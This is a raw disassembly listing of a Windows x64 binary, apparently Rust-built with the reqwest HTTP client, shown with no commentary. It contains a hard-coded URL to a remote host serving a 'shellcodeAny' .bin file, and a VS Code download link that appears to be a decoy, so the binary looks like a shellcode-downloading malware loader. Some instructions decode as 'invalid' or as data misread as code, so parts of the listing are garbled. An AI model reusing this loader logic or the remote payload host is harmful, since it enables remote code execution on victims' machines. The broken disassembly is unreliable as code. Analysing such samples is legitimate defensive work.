mov qword [rbp + 0x3a0], rdx
mov qword [rbp + 0x3a8], rcx
lea rcx, [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], rcx
mov qword [rbp + 0x1d0], 0
lea rcx, [r14 + 0x140]
mov qword [rbp + 0x3d8], rcx
lea r12, [r14 + 8]
lea rcx, [r14 + 0x28]
mov qword [rbp + 0x3b8], rcx
lea rcx, [r14 + 0x118]
mov qword [rbp + 0x3d0], rcx
xorps xmm6, xmm6
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x1400e2db0
cmp qword [rbp + 0x3f0], 0
jne 0x1400e3400
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x1400e2320
call fcn.140075280
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x1400e2322
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x120]
cmp r13d, 2
je 0x1400e2440
cmp r13d, 1
lea rbx, [rbp + 0x1e8]
je 0x1400e2396
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e0d00]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14015cd80]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x3b0], cl
mov word [rax + 0x11c], 0x8001
movzx eax, byte [r14 + 0x148]
test eax, eax
je 0x1400e2453
cmp eax, 3
jne 0x1400e3327
mov rax, qword [rbp + 0x3d8]
movzx eax, byte [rax]
test eax, eax
je 0x1400e2a41
cmp eax, 3
jne 0x1400e33ce
nop dword [rax + rax]
cmp dword [r12], 2
jne 0x1400e2ae3
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x1400e32f7
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x1400e25d0
lea rbx, [rbp + 0x1e8]
movzx eax, byte [r14 + 0x148]
test eax, eax
jne 0x1400e23d7
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x1400e3506
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r15
lea rax, [0x14000bf90]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov ecx, 5
call fcn.1400e81b0
jmp 0x1400e2a30
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r15
call fcn.140119a10
cmp dword [r12], 2
jne 0x1400e2660
mov rbx, qword [r14 + 0x10]
test rbx, rbx
je 0x1400e28f2
mov r15, qword [rbx + 0x58]
test r15, r15
je 0x1400e2634
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x1400e2610
mov rcx, r15
call rax
cmp qword [rdi + 8], 0
je 0x1400e2634
cmp qword [rdi + 0x10], 0x11
jb 0x1400e2622
mov r15, qword [r15 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne case.0x140055160.1107
lea r15, [rbp + 0x50]
jmp 0x1400e28e0
cmp byte [r14 + 0x100], 0xa
jb 0x1400e268a
cmp qword [r14 + 0x110], 0
je 0x1400e268a
mov r8, qword [r14 + 0x108]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x90], 0
je 0x1400e26aa
mov r8, qword [r14 + 0x98]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x80], 0
je 0x1400e26c7
mov r8, qword [r14 + 0x78]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x58]
test rdi, rdi
je 0x1400e2720
mov rbx, qword [r14 + 0x50]
add rbx, 0x30
jmp 0x1400e26fb
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x1400e2720
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x1400e26e0
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x1400e26e0
cmp qword [r14 + 0x48], 0
je 0x1400e273a
mov r8, qword [r14 + 0x50]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x70]
test rdi, rdi
je 0x1400e276b
mov rbx, qword [r14 + 0x68]
add rbx, 0x38
nop dword [rax + rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x1400e2750
cmp qword [r14 + 0x60], 0
je 0x1400e2785
mov r8, qword [r14 + 0x68]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r12], 0
je 0x1400e27a7
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x1400e27a7
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x10]
mov rdi, qword [r14 + 0xf8]
test rdi, rdi
je 0x1400e27f0
mov rbx, qword [r14 + 0xf0]
add rbx, 8
jmp 0x1400e27c9
add rbx, 0x58
dec rdi
je 0x1400e27f0
cmp qword [rbx - 8], 0
je 0x1400e27c0
mov r8, qword [rbx]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e27c0
cmp qword [r14 + 0xe8], 0
je case.0x140055160.1104
mov r8, qword [r14 + 0xf0]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x1400e282c
mov rcx, qword [rbp + 0x3d0]
call fcn.1400d6b10
mov rbx, qword [r14 + 0x120]
mov rdi, qword [r14 + 0x128]
mov rax, qword [rdi]
test rax, rax
je 0x1400e2847
invalid
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x1400e286b
cmp qword [rdi + 0x10], 0x11
jb 0x1400e2859
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [r14 + 0x138]
test rbx, rbx
je 0x1400e28f2
mov rcx, rbx
call fcn.1400f7a30
lea rcx, [rbx + 8]
cmp qword [rbx], 0
cmp eax, dword [rax]
je case.0x140065f80.1060
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400e28d0
call fcn.1400d5a50
jmp 0x1400e28d0
test rax, rax
lea r15, [rbp + 0x50]
je 0x1400e28e0
mov r8, qword [rbx + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e28e0
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400e28d0
call fcn.1400d5800
nop
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x1400e28e0
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
cmp dword [rbp - 0x48], 3
jne 0x1400e2940
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0db0
mov ecx, 3
call fcn.1400e81b0
lea rcx, [rbp - 0x48]
call fcn.1400df120
mov rdx, qword [r14]
mov edx, dword [rsi]
lea rbx, [rbp + 0x1e8]
jmp 0x1400e2a5d
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
or byte [rax], al
add byte [rax], al
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0db0
lea rcx, [rbp - 0x48]
call fcn.1400df120
mov rax, qword [r14]
lock dec qword [rax]
lea rdi, [rbp + 0x1e8]
jne 0x1400e2981
mov rcx, r14
call fcn.1400d6b10
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 1
lea rbx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240716014051290.binhs
mov rcx, rbx
lea rdx, [0x14015ce1b]
jg 0x1400e293e
invalid
add al, ch
out dx, eax
invalid
add byte [rax], al
mov r8d, 0xb
mov rcx, rdi
mov rdx, rbx
call fcn.1400ebc10
mov rdi, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x1400e2a30
mov rbx, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x1400e2d10
lea rcx, [rbp - 0x48]
mov rdx, rbx
call fcn.140003650
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x1400e2bf0
mov ecx, 5
call fcn.1400e81b0
test rdi, rdi
je 0x1400e2a30
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400bfde0
mov rcx, rbx
call fcn.1400b5a30
test rax, rax
jne 0x1400e329a
mov qword [r14], rdx
mov rcx, r15
lea r8, str.https:__code.visualstudio.com_download
call fcn.1400e42d0
cmp dword [rbp + 0x50], 2
jne 0x1400e2aa0
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rdi]
je 0x1400e2abb
jmp 0x1400e2ac7
mov rdi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1400b7ed0
lock dec qword [rdi]
jne 0x1400e2ac7
lea rcx, [rbp + 0x160]
call fcn.140072ed0
mov r8d, 0x138
mov rcx, r12
mov rdx, rbx
call fcn.140119a10
cmp dword [r12], 2
je 0x1400e240b
mov rcx, r15
mov rdx, r12
lea r8, [rbp + 0x1c0]
call fcn.1400bbe20
cmp qword [rbp + 0x50], 4
jne 0x1400e25d0
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 3
mov r15b, 3
mov dil, 1
mov byte [r14 + 0x148], r15b
cmp r13b, 2
lea r15, [rbp + 0x50]
je 0x1400e2ba0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x1400e2ba0
cmp eax, 1
je 0x1400e2b79
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400f6a40]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14015cd80]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
movzx ecx, byte [rbp + 0x3b0]
mov byte [rax + 0x11d], cl
cmp qword [rbp + 0x3f0], 0
jne 0x1400e33dc
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x1400e33e8
mov qword [rbp + 0x3f0], 0
test dil, dil
jne 0x1400e2db0
jmp 0x1400e308b
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003bc0
call fcn.1400017c0
mov r15, rax
and eax, 3
cmp eax, 1
jne 0x1400e2c78
mov dword [rbp + 0x3c0], r13d
mov r13, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400e2c31
mov rcx, r13
call rax
cmp qword [rsi + 8], 0
je 0x1400e2c55
cmp qword [rsi + 0x10], 0x11
jb 0x1400e2c43
mov r13, qword [r13 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec r15
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [0x14015cd80]
mov r13d, dword [rbp + 0x3c0]
lea rcx, [rbp + 0x1e8]
call fcn.140001b90
cmp qword [rbp + 0x1e8], 0
je 0x1400e2ca0
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x1400e2ca0
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e81b0
call fcn.140004c80
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
lea rcx, [rbp + 0x1e8]
call fcn.1400f0db0
lea rcx, [rbp + 0x50]
call fcn.1400015a0
mov r15b, 1
test rdi, rdi
je 0x1400e2da7
mov rcx, qword [0x140198260]
xor edi, edi
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e2b10
test r8, r8
je 0x1400e29e3
lea rax, [rbx + r8]
mov rdx, rbx
jmp 0x1400e2d3c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x1400e29e3
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x1400e2d30
cmp r9b, 0xe0
jb 0x1400e2d22
cmp r9b, 0xed
jne 0x1400e2d7e
cmp rcx, rax
je 0x1400e29e3
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x1400e29e3
cmp byte [rdx + 1], 0x9f
ja 0x1400e2a0d
add rdx, 3
mov rcx, rdx
jmp 0x1400e2d30
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x1400e2d30
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x1400e2d30
xor edi, edi
jmp 0x1400e2b10
mov r8, qword [rbp + 0x3e8]
mov edi, dword [r8 + 0x40]
test edi, edi
je 0x1400e2fb8
nop word cs:[rax + rax]
cmp byte [rbx + 0x68], 0
jne 0x1400e3031
inc dword [rbx + 0x60]
mov rdx, qword [rbp + 0x3e8]
add rdx, 0x10
mov rcx, rbx
call fcn.1401049c0
test rax, rax
je 0x1400e2ff0
cmp qword [rbp + 0x3f0], 0
jne 0x1400e3400
mov r15, rax
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x1400e2e40
call fcn.140075280
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x1400e2e42
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x120]
cmp ebx, 2
je 0x1400e2ee0
cmp ebx, 1
je 0x1400e2ea8
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e0d00]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14015cd80]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x11c]
movzx r13d, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
jmp 0x1400e2ee0
mov rax, qword [r15 + 0x10]
mov rcx, r15
call qword [rax]
cmp bl, 2
lea r15, [rbp + 0x50]
je 0x1400e2f6a
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x1400e2f6a
cmp eax, 1
je 0x1400e2f4a
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400f6a40]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14015cd80]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], bl
mov byte [rax + 0x11d], r13b
cmp qword [rbp + 0x3f0], 0
jne 0x1400e33dc
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x1400e33e8
mov qword [rbp + 0x3f0], 0
dec edi
jne 0x1400e2dd0
mov r8, qword [rbp + 0x3e8]
add r8, 0x10
lea rcx, [rbp + 0x3e8]
mov rdx, rbx
call fcn.140104ff0
mov rbx, rax
mov rax, qword [rbp + 0x3e8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x1400e22de
jmp 0x1400e2db0
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x400], rax
lea r15, [rbp + 0x50]
jae 0x1400e35f0
mov r8, qword [rbp + 0x3e8]
add r8, 0x10
cmp qword [rbp + 0x418], 0
jne 0x1400e2fbc
lea rcx, [rbp + 0x3e8]
mov rdx, rbx
call fcn.140104aa0
jmp 0x1400e2fcb
cmp qword [rbp + 0x3f0], 0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3c8]
mov qword [rax + 0x108], rcx
jne 0x1400e35e4
xor r14d, r14d
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x1400e30c6
call fcn.140075280
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x1400e30c8
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3c8]
mov qword [rax + 0x108], rcx
mov r14b, 1
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
jne 0x1400e307a
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
lea rcx, [rbp + 0x3e0]
call fcn.1401045e0
cmp qword [rbp + 0x3e0], 0
je 0x1400e3192
mov rax, qword [rbp + 0x3e8]
lock dec qword [rax]
jne 0x1400e3109
lea rcx, [rbp + 0x3e8]
call fcn.1400d5960
mov rsi, qword [rbp + 0x3f8]
test rsi, rsi
je 0x1400e31bc
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400e3148
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400e35fc
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400e3148
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.1400e3a70
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x1400e3166
mov rcx, rdi
call fcn.140102bb0
mov rax, qword [rsi + 8]
test rax, rax
je 0x1400e317e
lock dec qword [rax]
jne 0x1400e317e
lea rcx, [rsi + 8]
call fcn.14002d900
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e31bc
mov rax, qword [rbp + 0x3e8]
lock dec qword [rax]
jne 0x1400e31ab
lea rcx, [rbp + 0x3e8]
call fcn.1400d5800
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x1400e31bc
call fcn.140075280
mov rsi, qword [rbp + 0x418]
test rsi, rsi
je 0x1400e31f3
mov rdi, qword [rbp + 0x410]
mov qword [rbp + 0x1e8], rdx
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
test al, 0x33
invalid
invalid